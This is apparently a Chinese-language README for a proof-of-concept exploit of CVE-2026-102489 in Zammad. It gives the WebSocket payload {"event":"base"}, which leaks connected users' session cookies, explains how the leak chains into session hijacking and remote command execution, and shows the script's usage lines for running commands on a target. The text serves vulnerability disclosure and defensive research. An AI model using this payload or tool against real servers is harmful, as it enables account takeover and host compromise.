
针对 Zammad 中 CVE-2026-102489 的概念验证漏洞利用:将 WebSocket 会话泄露串联为已认证会话劫持和未认证远程代码执行。
本仓库包含 CVE-2026-102489 的概念验证代码,这是 Zammad 中的一个未认证远程代码执行漏洞。该漏洞利用链将 WebSocket 信息泄露缺陷与已认证会话接管相结合,最终以 zammad 操作系统用户身份执行任意命令。
Sessions::Event::Base 是一个有效的 Ruby 常量,但它没有 run() 方法。通过 WebSocket 端点发送 {"event":"base"} 会引发 NoMethodError,其错误消息中包含完整的接收者 inspect 信息——其中包含 @clients,即所有已连接用户请求上下文的实时映射,包括他们的 Cookie 头。
该 PoC 利用此泄露信息来:
@clients 信息泄露,从已连接用户处收集有效的 _zammad_session cookie。涵盖根本原因、漏洞利用和入侵指标的技术分析可在 Horizon3.ai 攻击研究博客上获取:
https://horizon3.ai/attack-research/disclosures/cve-2026-102489-zammad-session-leak-rce/
% python3 CVE-2026-102489.py -h
usage: CVE-2026-102489.py [-h] -u URL [-c COMMAND] [--out-file OUT_FILE]
options:
-h, --help show this help message and exit
-u URL, --url URL The base URL of the target
-c COMMAND, --command COMMAND
Command to execute on the target
--out-file OUT_FILE Output file path on the target (default:
/tmp/zammad_rce.txt)
使用默认的 id 命令运行:
python3 CVE-2026-102489.py -u http://zammad.example.com
执行任意命令:
python3 CVE-2026-102489.py -u http://zammad.example.com -c 'id'
注意: 该信息泄露要求在漏洞利用时至少有一个已认证用户连接到 WebSocket 端点。
“本软件纯粹出于学术研究目的以及开发有效防御技术而创建,除非获得明确授权,否则不应用于攻击系统。”项目维护者不对滥用行为承担任何责任。请负责任地使用。